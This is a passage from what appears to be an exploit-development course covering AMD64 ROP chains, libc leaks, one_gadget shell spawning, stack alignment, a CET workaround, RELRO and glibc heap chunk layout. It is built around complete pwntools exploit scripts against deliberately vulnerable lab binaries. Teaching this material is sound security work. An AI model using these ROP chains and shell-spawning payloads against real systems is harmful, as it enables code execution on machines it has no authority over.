OFFSET = 72 # 64 buffer + 8 saved RBP
def exploit():
# Can run locally or switch to remote
if args.REMOTE:
p = remote('target', 1337)
else:
p = process(binary_path)
# ========== STAGE 1: LEAK LIBC ADDRESS ==========
log.info("Stage 1: Leaking libc address via puts(puts@got)")
# Wait for prompt
p.recvuntil(b'Enter input: ')
# AMD64 ROP: pop rdi loads argument, then call puts
# Stack alignment: add ret gadget if needed
stage1 = flat(
b'A' * OFFSET,
p64(ret), # Stack alignment (16-byte before call)
p64(pop_rdi), # pop rdi; ret
p64(puts_got), # RDI = puts@got (address to leak)
p64(puts_plt), # Call puts(puts@got) - prints libc address!
p64(main_addr), # Return to main for stage 2
)
p.sendline(stage1)
# Parse the leak
# Our ROP chain: puts(puts@got) → main, so output is:
# "You entered: [overflow]\n[LEAKED_ADDR]\nROP Practice..."
# Skip until after our payload echo, then read leaked address line
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n') # Skip to end of "You entered" line
# Read leaked bytes - puts adds a newline, so read until that newline
leaked_bytes = p.recvline().strip() # Remove trailing newline from puts
# Handle the leak (puts stops at null bytes, pad if needed)
leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
log.success(f"Leaked puts@libc: {hex(leaked_puts)}")
# ========== COMPUTE LIBC BASE ==========
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"Calculated libc base: {hex(libc.address)}")
# Verify libc base looks reasonable (should end in 000 due to page alignment)
if libc.address & 0xfff != 0:
log.warning("Libc base not page-aligned - leak may be wrong!")
# ========== STAGE 2: ONE_GADGET APPROACH ==========
# Modern libc lacks clean pop rdx gadgets, so we use one_gadget
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Constraints vary - try each until one works
log.info("Stage 2: Using one_gadget")
# One_gadget offsets - UPDATE THESE for your libc version!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadgets = [
0xef4ce, # execve("/bin/sh", rbp-0x50, r12) - needs rbx=0, r12=0
0xef52b, # execve("/bin/sh", rbp-0x50, [rbp-0x78]) - needs rax=0
0x583ec, # posix_spawn constraints
0x583f3, # posix_spawn constraints
]
# Try the second one_gadget (0xef52b) - needs rax=NULL
# If first doesn't work, try index 1, 2, 3...
one_gadget = libc.address + one_gadgets[1]
log.info(f"one_gadget @ {hex(one_gadget)}")
# Wait for prompt (program returned to main, runs vulnerable() again)
p.recvuntil(b'Enter input: ')
# For one_gadget, we need valid RBP (rbp-0x50 must be writable)
# Our overflow corrupted RBP to 0x4141...
# Fix: set RBP to a writable address (like stack) before one_gadget
libc_rop = ROP(libc)
# Find gadgets
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
pop_rbx = libc_rop.find_gadget(['pop rbx', 'ret'])
pop_r12 = libc_rop.find_gadget(['pop r12', 'ret'])
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
# Use a writable address for RBP - use a known writable section
# .bss section in the binary is always writable
writable_addr = elf.bss() + 0x200 # Some offset into .bss
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP to point to writable memory (CRITICAL for one_gadget!)
if pop_rbp:
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80) # rbp = writable addr + margin
# Set rax = 0 (for one_gadget constraints)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # rax = NULL
# Set rbx = 0 and r12 = 0 (for other one_gadget constraints)
if pop_rbx:
stage2 += p64(pop_rbx[0])
stage2 += p64(0) # rbx = NULL
if pop_r12:
stage2 += p64(pop_r12[0])
stage2 += p64(0) # r12 = NULL
log.info(f"RBP set to writable: {hex(writable_addr + 0x80)}")
stage2 += p64(one_gadget) # Jump to one_gadget
p.sendline(stage2)
# Got shell!
log.success("Shell incoming!")
p.interactive()
if __name__ == '__main__':
exploit()
Key Points:
p.libs() in final exploits - it only works locally for debuggingcall; add ret gadgetrbp-0xXX writablesystem() may fail, use one_gadget instead[!CAUTION] AMD64 Failure Mode: If your exploit crashes with SIGSEGV inside libc (e.g., in
movapsinstruction), you have a stack alignment problem. The stack must be 16-byte aligned before anycallinstruction.
The Problem:
The Fix - Always Include ret Gadget:
# WRONG - may crash in libc due to misalignment
payload = flat(
b'A' * offset,
p64(pop_rdi),
p64(binsh),
p64(system), # Crashes with movaps SIGSEGV!
)
# CORRECT - ret gadget aligns stack
ret = rop.find_gadget(['ret'])[0]
payload = flat(
b'A' * offset,
p64(ret), # ← Stack alignment fix!
p64(pop_rdi),
p64(binsh),
p64(system), # Works on older libc!
)
[!WARNING] Modern libc (glibc 2.34+) has Intel CET enabled! Even with correct alignment,
system()may still crash due to Shadow Stack (SHSTK) and Indirect Branch Tracking (IBT). Check withchecksec: ifSHSTK: EnabledandIBT: Enabled, use one_gadget instead.
When Alignment Isn't Enough (CET):
# If system() crashes even with alignment, check for CET:
# checksec /lib/x86_64-linux-gnu/libc.so.6
# Shows: SHSTK: Enabled, IBT: Enabled
# Solution: Use one_gadget with RBP fix instead of system()
one_gadget = libc.address + 0xef52b # From: one_gadget /path/to/libc.so.6
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
payload = flat(
b'A' * offset,
p64(ret), # Stack alignment
p64(pop_rbp[0]),
p64(elf.bss() + 0x280), # Fix RBP for one_gadget constraints
p64(one_gadget), # Bypasses CET!
)
Debugging Alignment Issues:
# In GDB, when you hit the crash:
pwndbg> x/i $rip
# If you see: movaps xmmword ptr [rsp+0x50], xmm0
# This is an alignment issue!
pwndbg> p/x $rsp
# Check if RSP ends in 0 or 8
# Before call: should end in 0 (16-byte aligned)
# After call: ends in 8 (return addr pushed)
# ============================================================
# EXERCISE: "Break It, Fix It" (The Movaps Trap)
# ============================================================
# 1. Create a ROP chain that calls system("/bin/sh") WITHOUT a ret gadget.
# payload = flat(b'A'*offset, pop_rdi, binsh, system)
# 2. Run it inside GDB. It will crash.
# 3. Inspect the crash:
# (gdb) x/i $rip
# => movaps xmmword ptr [rsp+0x40], xmm0
# 4. Check stack alignment:
# (gdb) p/x $rsp
# Result ends in 0x8? That's the bug.
# 5. Fix it:
# payload = flat(b'A'*offset, ret, pop_rdi, binsh, system)
# (gdb) p/x $rsp (at system entry) -> Now ends in 0x0. Success.
# ============================================================
# If aligned but still crashes - check for CET:
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK/IBT enabled = use one_gadget instead
[!WARNING]
p.libs()only works for local debugging. Never use it in exploits targeting remote systems! Always use the leak pattern.
#!/usr/bin/env python3
#~/exploit/10.py
"""
Address finding for LOCAL DEBUGGING ONLY
DO NOT use p.libs() in real exploits - it doesn't work remotely!
"""
from pwn import *
elf = context.binary = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# LOCAL DEBUGGING ONLY - shows where libc is loaded in THIS process
p = process('./vuln2', aslr=False, env={})
# Get libc base from process maps (LOCAL ONLY!)
# NOTE: libc.path may not match p.libs() keys due to symlinks
# Search for 'libc' in the library paths instead
libs = p.libs()
libc_path = [path for path in libs.keys() if 'libc' in path][0]
libc_base = libs[libc_path]
libc.address = libc_base
log.warning("Using p.libs() - THIS ONLY WORKS LOCALLY!")
log.info(f"Local libc base: {hex(libc.address)}")
log.info(f"Local system(): {hex(libc.symbols['system'])}")
# Find useful addresses for debugging
binsh = next(libc.search(b'/bin/sh\x00'))
log.info(f"/bin/sh string: {hex(binsh)}")
# For one_gadget debugging - verify offsets work with your libc
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget_offsets = [0xef4ce, 0xef52b, 0x583ec, 0x583f3] # UPDATE for your libc!
for i, offset in enumerate(one_gadget_offsets):
log.info(f"one_gadget[{i}]: {hex(libc.address + offset)}")
# Writable address for RBP fix (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
log.info(f"Writable .bss for RBP: {hex(writable)}")
# In a real exploit, you would LEAK an address instead:
# leaked = ... (from ROP chain)
# libc.address = leaked - libc.symbols['puts']
Finding one_gadget Offsets:
# Install one_gadget (Ruby gem)
gem install one_gadget
# Find gadgets for your libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Example output:
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x50 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# Copy the offsets to your exploit and try each one
# Remember: set RBP to writable address before calling!
Identifying Your Libc Version:
# Check libc version
ldd --version
# Or:
/lib/x86_64-linux-gnu/libc.so.6
# Get libc build ID (for libc database lookups)
file /lib/x86_64-linux-gnu/libc.so.6
# Or:
readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep "Build ID"
# Check for CET (determines if system() ROP will work)
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK: Enabled, IBT: Enabled = use one_gadget instead of system()
What is ROP?:
ret
AMD64 ROP Basics:
Unlike x86 where you push arguments to the stack, AMD64 passes arguments in registers.
This means you need gadgets like pop rdi; ret to load arguments!
Essential AMD64 Gadgets:
| Gadget | Purpose | Usage |
|---|---|---|
pop rdi; ret |
Load 1st argument | Almost always needed! |
pop rsi; ret |
Load 2nd argument | For two-arg functions |
pop rdx; ret |
Load 3rd argument | Rare in modern libc! Use one_gadget |
pop rbp; ret |
Fix RBP for one_gadget | Critical for one_gadget! |
pop rax; ret |
Set RAX (syscall #) | For one_gadget constraints |
ret |
Stack alignment / pivot | Fix 16-byte alignment |
[!NOTE] Modern libc (glibc 2.34+) lacks clean
pop rdx; retgadgets and has CET enabled. Traditionalsystem("/bin/sh")ROP often fails. Use one_gadget instead!
Simple AMD64 ROP Example (Traditional - may fail on modern libc):
Goal: Call system("/bin/sh") - works on older libc without CET
AMD64 calling convention:
- RDI = first argument = address of "/bin/sh"
- Then call system()
Stack layout (after overflow):
┌─────────────────┐
│ ret gadget │ → align stack (optional)
├─────────────────┤
│ pop rdi; ret │ → gadget address
├─────────────────┤
│ &"/bin/sh" │ → value popped into RDI
├─────────────────┤
│ &system │ → called with RDI = "/bin/sh"
└─────────────────┘
Modern AMD64 ROP Example (one_gadget - works on glibc 2.34+):
Goal: Call one_gadget (execve("/bin/sh", ...)) - works on modern libc with CET
Requirements:
- RBP = writable address (one_gadget needs rbp-0x50 writable)
- RAX = 0 (some one_gadgets require this)
Stack layout (after overflow):
┌─────────────────┐
│ ret gadget │ → align stack
├─────────────────┤
│ pop rbp; ret │ → from libc
├─────────────────┤
│ .bss + 0x280 │ → writable address for RBP
├─────────────────┤
│ pop rax; ret │ → from libc (optional, for constraints)
├─────────────────┤
│ 0x0 │ → RAX = NULL
├─────────────────┤
│ one_gadget │ → libc.address + offset → shell!
└─────────────────┘
Master manual gadget hunting before relying on tools—it builds intuition for what's possible.
# Why manual first? Because:
# 1. Tools miss "unaligned" gadgets
# 2. Understanding binary structure helps debugging
# 3. Sometimes you need a specific gadget tools don't flag
# Step 1: Disassemble the binary
objdump -d -M intel vuln2 > disasm.txt
# Step 2: Search for 'ret' instructions (opcode: 0xc3)
grep -n "ret" disasm.txt
# Step 3: Look backwards from each 'ret' for useful sequences
# Example output (AMD64):
# 401234: 5f pop rdi
# 401235: c3 ret
# This is a "pop rdi; ret" gadget at 0x401234
# Step 4: Search for specific patterns
grep -B2 "ret" disasm.txt | grep "pop"
# AMD64: Search for syscall instruction
objdump -d vuln2 | grep "syscall"
Common AMD64 Gadget Byte Patterns:
| Gadget Type | Byte Sequence | Instruction |
|---|---|---|
pop rdi; ret |
5f c3 |
Load RDI (arg 1) |
pop rsi; ret |
5e c3 |
Load RSI (arg 2) |
pop rdx; ret |
5a c3 |
Load RDX (arg 3) - rare! |
pop rcx; ret |
59 c3 |
Load RCX (arg 4) |
pop rax; ret |
58 c3 |
Load RAX (for one_gadget) |
pop rbp; ret |
5d c3 |
Fix RBP for one_gadget! |
ret |
c3 |
Stack alignment |
syscall |
0f 05 |
Syscall (AMD64) |
pop rsi; pop r15; ret |
5e 41 5f c3 |
Common in __libc_csu_init |
[!WARNING]
pop rdx; retis rare in modern libc! You'll often findpop rdx; pop rbx; retor similar multi-pop variants. This breaks simpleexecve(path, NULL, NULL)chains. Use one_gadget instead of manually building execve calls.
Using GDB/pwndbg for Gadget Search:
# In pwndbg:
pwndbg> rop --grep "pop rdi" # Find pop rdi gadgets
pwndbg> rop --grep "pop rsi" # Find pop rsi gadgets
pwndbg> rop --grep "syscall" # Find syscall gadgets
# Or search for byte patterns
pwndbg> search -x "5fc3" # Search for pop rdi; ret bytes
# ROPgadget (most popular)
ROPgadget --binary vuln2
# Find specific gadgets (AMD64)
ROPgadget --binary vuln2 --only "pop|ret"
ROPgadget --binary vuln2 | grep "pop rdi"
ROPgadget --binary vuln2 | grep "pop rsi"
# Filter gadgets with bad characters
ROPgadget --binary vuln2 --badbytes "00|0a|0d"
# Include libc gadgets (many more available!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
# CRITICAL for one_gadget: find pop rbp and pop rax in libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rbp ; ret"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rax ; ret"
# Check if pop rdx exists (often missing or has extra pops!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rdx ;" | head
# You'll likely see: "pop rdx ; pop rbx ; ret" (not clean pop rdx ; ret)
# ropper (alternative tool with better search)
ropper -f vuln2 --search "pop rdi"
ropper -f vuln2 --chain execve # May fail on modern libc!
# one_gadget (find "magic" shell gadgets in libc)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Returns addresses in libc that spawn shell with minimal setup
# WARNING: Constraints are strict in modern glibc!
# ALWAYS check constraints and fix RBP before calling!
Gadget Priority for Modern Libc Exploitation:
pop rdi; ret - for leak stage (from binary, not libc)ret - for stack alignment (from binary)pop rbp; ret - CRITICAL for one_gadget RBP fix (from libc)pop rax; ret - for one_gadget RAX=0 constraint (from libc)pop rbx; ret / pop r12; ret - for other one_gadget constraints (from libc)[!CAUTION] Modern glibc one_gadgets have strict constraints! Buffer overflows corrupt RBP with your padding bytes (
0x4141414141414141), but one_gadgets often requirerbp-0xXXto be a writable address. This causes SIGBUS/SIGSEGV crashes.
Common one_gadget constraints:
# Example output from: one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x50 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable ← RBP must be valid!
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
The Problem: After buffer overflow, RBP = 0x4141414141414141 (A's).
So rbp-0x50 = invalid address → SIGBUS when one_gadget tries to access it!
The Solution: Set RBP to a writable address before calling one_gadget:
# Find gadgets from libc
libc_rop = ROP(libc)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
# Use .bss section (always writable) for RBP
writable_addr = elf.bss() + 0x200
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP FIRST (before one_gadget)
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80) # RBP = valid writable address
# Then satisfy other constraints (rax=0 for many one_gadgets)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # RAX = NULL
stage2 += p64(one_gadget) # Now one_gadget works!
One_Gadget Troubleshooting:
| Symptom | Cause | Fix |
|---|---|---|
| SIGBUS at one_gadget | RBP points to invalid memory | Set RBP to .bss or stack before calling |
| SIGSEGV in one_gadget | Register constraints not met | Try different one_gadget, set rax/rbx/r12=0 |
| one_gadget exists but no shell | Wrong libc version | Verify libc, recalculate offsets |
| All one_gadgets fail | Constraints too strict | Fall back to ROP execve syscall |
Why system() Fails on Modern Libc:
Modern glibc (2.34+) enables Intel CET (Control-flow Enforcement Technology):
checksec shows: SHSTK: Enabled, IBT: Enabled
This makes traditional system("/bin/sh") ROP chains crash. Solutions:
execve syscall (bypasses libc CET checks)gcc -fcf-protection=none
Gadget Quality Checklist:
ret)?[!IMPORTANT] ROP Chain Timing: You must set
libc.addressBEFORE building the ROP chain! Don't createROP([elf, libc])until you've computed the libc base from a leak.
Correct ROP Workflow (Modern Libc with one_gadget):
#!/usr/bin/env python3
#~/exploit/11.py
"""
Correct ROP chain sequencing for modern libc (glibc 2.34+)
Key insights:
1. Leak → set libc.address → THEN build stage 2
2. Use one_gadget instead of system() (CET bypass)
3. Fix RBP before calling one_gadget (buffer overflow corrupts it)
"""
from pwn import *
elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
# One_gadget offsets - UPDATE for your libc!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
ONE_GADGETS = [0xef4ce, 0xef52b, 0x583ec, 0x583f3]
OFFSET = 72 # buffer (64) + saved RBP (8)
# ======= STAGE 1: LEAK =======
# Build leak ROP using ONLY elf gadgets (libc base unknown!)
rop1 = ROP(elf) # Only elf, not libc!
pop_rdi = rop1.find_gadget(['pop rdi', 'ret'])[0]
ret = rop1.find_gadget(['ret'])[0]
# Leak puts@got
stage1 = flat(
b'A' * OFFSET,
p64(ret),
p64(pop_rdi),
p64(elf.got['puts']),
p64(elf.plt['puts']),
p64(elf.symbols['main']),
)
p = process('./vuln2', aslr=False, env={})
p.recvuntil(b'Enter input: ')
p.sendline(stage1)
# Parse leak (adjust for your binary's output format)
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
# ======= SET LIBC BASE (Critical!) =======
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
# Verify alignment (should end in 000)
if libc.address & 0xfff != 0:
log.warning("Libc base not page-aligned - leak may be wrong!")
# ======= STAGE 2: ONE_GADGET (works on modern libc!) =======
libc_rop = ROP(libc)
# Find gadgets to satisfy one_gadget constraints
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
# Writable address for RBP (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
# Try second one_gadget (0xef52b) - needs rax=NULL, rbp valid
one_gadget = libc.address + ONE_GADGETS[1]
p.recvuntil(b'Enter input: ')
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP FIRST (critical for one_gadget!)
if pop_rbp:
stage2 += p64(pop_rbp[0])
stage2 += p64(writable + 0x80) # rbp = valid writable addr
# Set rax = 0 (for one_gadget constraint)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # rax = NULL
stage2 += p64(one_gadget) # Shell!
p.sendline(stage2)
log.success("Shell incoming!")
p.interactive()
Traditional Workflow (Older libc without CET):
# Only works on libc WITHOUT CET (SHSTK/IBT disabled)
# Check: checksec /lib/.../libc.so.6 → SHSTK: Disabled
# After setting libc.address...
rop2 = ROP([elf, libc])
rop2.call('system', [next(libc.search(b'/bin/sh\x00'))])
stage2 = flat(
b'A' * OFFSET,
p64(ret), # Stack alignment
rop2.chain(),
)
Common Mistakes:
# WRONG: Building ROP with libc before setting libc.address
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc]) # libc.address is 0 here!
rop.call('system', [...]) # Addresses will be wrong!
# WRONG: Using rop.call() for functions not in PLT
rop = ROP(elf)
rop.call('system', [...]) # ERROR: system not in elf.plt!
# WRONG: Expecting rop.call('execve', ...) to work on modern libc
libc_rop = ROP(libc)
libc_rop.call('execve', [binsh, 0, 0]) # May fail: "Could not satisfy setRegisters"
# Modern libc lacks clean pop rdx gadgets!
# WRONG: Calling one_gadget without fixing RBP first
stage2 = b'A' * OFFSET + p64(one_gadget) # SIGBUS! RBP = 0x4141414141414141
# WRONG: Using system() on modern libc with CET
stage2 = b'A' * OFFSET + p64(pop_rdi) + p64(binsh) + p64(system)
# Crashes due to SHSTK/IBT even with correct alignment!
# RIGHT: Manual gadget chain for stage 1 (before libc base known)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = p64(pop_rdi) + p64(arg) + p64(elf.plt['puts'])
# RIGHT: Use one_gadget for stage 2 on modern libc (with RBP fix!)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Alignment
stage2 += p64(pop_rbp[0])
stage2 += p64(elf.bss() + 0x280) # Fix RBP first!
stage2 += p64(pop_rax[0])
stage2 += p64(0) # RAX = NULL for constraint
stage2 += p64(one_gadget) # Now it works!
Quick Checklist for Modern Libc ROP:
libc.address set before building stage 2000)ret gadget for 16-byte stack alignment.bss + offset)ROP exploits often fail silently. Here's how to systematically debug them.
Step 1: Print the Chain (Verify BEFORE Sending)
#~/exploit/12.py
from pwn import *
elf = ELF('./vuln2')
context.binary = elf
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Print planned chain
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")
# Build and dump
chain = flat(
p64(ret),
p64(pop_rdi),
p64(0x404040), # Example address
p64(0x401234), # Example call target
)
print(f"Chain length: {len(chain)} bytes")
print(f"Chain hex: {chain.hex()}")
Step 2: Visualize Stack Layout (AMD64)
# Before sending, visualize what the stack will look like
#~/exploit/13.py
from pwn import *
offset = 72 # AMD64: typically 64 buffer + 8 saved RBP
payload = b"A" * offset
# Add ROP chain manually for visibility (AMD64)
payload += p64(0x40101a) # ret (alignment)
payload += p64(0x401234) # pop rdi; ret (gadget 1)
payload += p64(0x404040) # /bin/sh (value for rdi)
payload += p64(0x401456) # system (call target)
# Print hex for verification
print("Payload hex:")
print(payload.hex())
print(f"\nPayload length: {len(payload)} bytes")
print(f"Expected: {offset} + {len(payload)-offset} = {len(payload)}")
Step 3: Debug in GDB (AMD64)
# Method 1: Breakpoint at vulnerable function's ret
gdb ./vuln2
(gdb) disas vulnerable
# Find the ret instruction address
(gdb) break *vulnerable+<offset_to_ret>
(gdb) run $(python3 -c "...")
# At the breakpoint (right before ret executes):
(gdb) x/20gx $rsp # View stack (g = 8-byte, AMD64) - your ROP chain!
(gdb) stepi # Single step through each gadget
# Method 2: Use pwntools with manual GDB attach
from pwn import *
context.binary = ELF('./vuln2')
# aslr=False for learning, env={} for consistent stack
p = process('./vuln2', aslr=False, env={})
# Print PID and pause for GDB attach
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")
payload = b"A" * 72 + p64(0x40101a) + p64(0x401234) + p64(0x404040) + p64(0x401456)
p.sendline(payload)
p.interactive()
In a second terminal, attach GDB:
gdb -p <PID>
(gdb) break *vulnerable+0x42 # Break at ret instruction
(gdb) continue
# Press Enter in first terminal to send payload
# Then in GDB:
(gdb) x/20gx $rsp # View ROP chain on stack
(gdb) si # Step through each gadget
Step 4: Trace Each Gadget (AMD64)
# In pwndbg, trace execution through your chain
pwndbg> break *0x401234 # First gadget (pop rdi; ret)
pwndbg> continue
# Now at first gadget
pwndbg> x/gx $rsp # Value that will be popped (8 bytes)
pwndbg> si # Execute pop rdi
pwndbg> info registers rdi # Verify rdi now has expected value
pwndbg> si # Execute ret (should go to next gadget)
pwndbg> x/i $rip # Verify we're at expected gadget
Common ROP Debugging Issues (AMD64):
| Symptom | Cause | Fix |
|---|---|---|
| Crash before first gadget | Wrong offset | Re-verify with cyclic pattern (8-byte!) |
| First gadget runs, then crash | Bad second address | Check stack alignment, verify addr |
| "Illegal instruction" | Jumped to data, not code | Verify gadget address is correct |
Crash in system() (movaps) |
AMD64 stack alignment! | Add ret gadget before call |
system() crashes (CET) |
Modern libc has SHSTK/IBT | Use one_gadget instead of system() |
| SIGBUS in one_gadget | RBP corrupted by overflow | Set RBP to .bss before one_gadget |
system() runs but no shell |
/bin/sh addr wrong |
Re-find string after setting libc.address |
| Works locally, fails remote | Different libc version | Use libc database, leak to confirm |
Stack Alignment Fix (AMD64):
#~/exploit/14.py
# Problem: system() crashes with SIGSEGV in movaps
# Solution: Add ret gadget for 16-byte alignment
from pwn import *
elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
rop = ROP(elf)
# These addresses come from leaking libc base (see ret2libc section)
# For local testing with ASLR disabled:
# Find the Base in GDB Run the binary with GDB and start it, but break immediately so the libraries load.
# gdb ./vuln2
# Inside GDB:
# start
# vmmap libc
# info proc mappings
# Read the Output You will see a list of memory ranges. Look for the first entry associated with libc.so.6.
#0x00007ffff7dc2000 0x00007ffff7f83000 r-xp /lib/x86_64-linux-gnu/libc.so.6
libc.address = 0x7ffff7c00000 # Example base - find yours with GDB or p.libs()
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
# Find a simple 'ret' gadget for alignment
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# Add alignment before the call
payload = flat(
b'A' * 72,
p64(ret), # ← Stack alignment fix!
p64(pop_rdi),
p64(binsh_addr),
p64(system_addr),
)
RELRO affects GOT overwrite attacks:
| RELRO Level | GOT Writable? | PLT Behavior | Exploitation Impact |
|---|---|---|---|
| No RELRO | Yes (always) | Lazy binding | GOT overwrite works |
| Partial RELRO | Yes (GOT) | Lazy binding | GOT overwrite works |
| Full RELRO | No | Immediate binding | GOT is read-only! |
Checking RELRO:
# Using checksec
checksec --file=./vuln2
# Using readelf
readelf -l ./vuln2 | grep GNU_RELRO
readelf -d ./vuln2 | grep BIND_NOW
# BIND_NOW present = Full RELRO
Compiling for Different RELRO Levels:
# Partial RELRO (default) - GOT overwrite WORKS
make disabled SOURCE=vuln2.c BINARY=vuln_partial_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln_partial_relro
# No RELRO - GOT overwrite WORKS
make training-relro-off SOURCE=vuln2.c BINARY=vuln_no_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,norelro vuln2.c -o vuln_no_relro
# Full RELRO - GOT overwrite FAILS!
make training-full-relro SOURCE=vuln2.c BINARY=vuln_full_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,relro,-z,now vuln2.c -o vuln_full_relro
Full RELRO Bypass Options:
__malloc_hook or __free_hook (removed in glibc 2.34+)Compile target with NX (AMD64):
make disabled SOURCE=vuln2.c BINARY=vuln2
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
Find gadgets:
ROPgadget --binary ./vuln2 | grep "pop rdi"
ROPgadget --binary ./vuln2 | grep ": ret$"
Write leak exploit:
puts(puts@got), return to main
libc.address = leak - libc.symbols['puts']
Write final exploit:
pop rdi; ret + /bin/sh + system
Task 2: Stack Alignment Practice
Task 3: Gadget Hunting
Find gadgets manually:
objdump -d vuln2 | grep -B2 "ret"
Find in libc:
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
Success Criteria:
Chain system() and exit():
system("whoami")
exit(0)
Read flag file:
flag.txt with secretsystem("cat flag.txt")
Find gadgets:
ROPgadget --binary vuln1_nx --only "pop|ret|syscall" > gadgets.txt
Build ROP chain manually:
syscall instructionTest ROP exploit:
Success Criteria:
Reuse the Week 3 patch-diffing workflow on a controlled Day 2-style target.
Goal: build a vulnerable and a patched version of the same program, diff them, then exploit only the vulnerable build.
Make two versions of the source:
vuln2_vuln.c: contains the bug (e.g., unbounded read / missing length check)vuln2_patched.c: fix the bug (e.g., bounded read or explicit length validation)Compile both with identical flags:
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_vuln.c -o vuln2_vuln
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_patched.c -o vuln2_patched
Patch diff:
ghidriff ./vuln2_vuln ./vuln2_patched -o vuln2_diff
Validation:
vuln2_vuln.vuln2_patched.Success Criteria:
system() ROP may fail, use one_gadget insteadpop rdx is rare: Modern libc lacks clean gadgets, use one_gadgetvuln_heap built and verified with checksec
admin_function)exploit_heap_fp.py (or equivalent) spawns a shell reliablyread() enables null bytes in payloadsDifferences:
| Feature | Stack | Heap |
|---|---|---|
| Allocation | Automatic (local variables) | Manual (malloc/new) |
| Lifetime | Function scope | Explicit free |
| Size | Fixed per thread (~8MB) | Dynamic, grows as needed |
| Speed | Very fast | Slower (allocator overhead) |
| Layout | LIFO (Last In First Out) | Complex (bins, chunks) |
| Overflow Impact | Overwrites return address | Overwrites metadata |
This section provides a detailed walkthrough of how glibc's malloc works. Understanding these internals is essential for heap exploitation—don't skip it.
[!WARNING] Which glibc version? Run
ldd --version. This course uses glibc 2.31-2.35 examples. Many classic techniques (unlink, fastbin dup) are mitigated in 2.35+. Check how2heap for version-specific techniques.
Chunk Structure:
struct malloc_chunk {
size_t prev_size; /* Size of previous chunk (if free) */
size_t size; /* Size of this chunk (includes metadata) */
/* Only for free chunks: */
struct malloc_chunk *fd; /* Forward pointer */
struct malloc_chunk *bk; /* Backward pointer */
/* For large free chunks only (>512 bytes): */
struct malloc_chunk *fd_nextsize;
struct malloc_chunk *bk_nextsize;
/* User data starts here */
};
Size Field Flags (critical for exploitation):
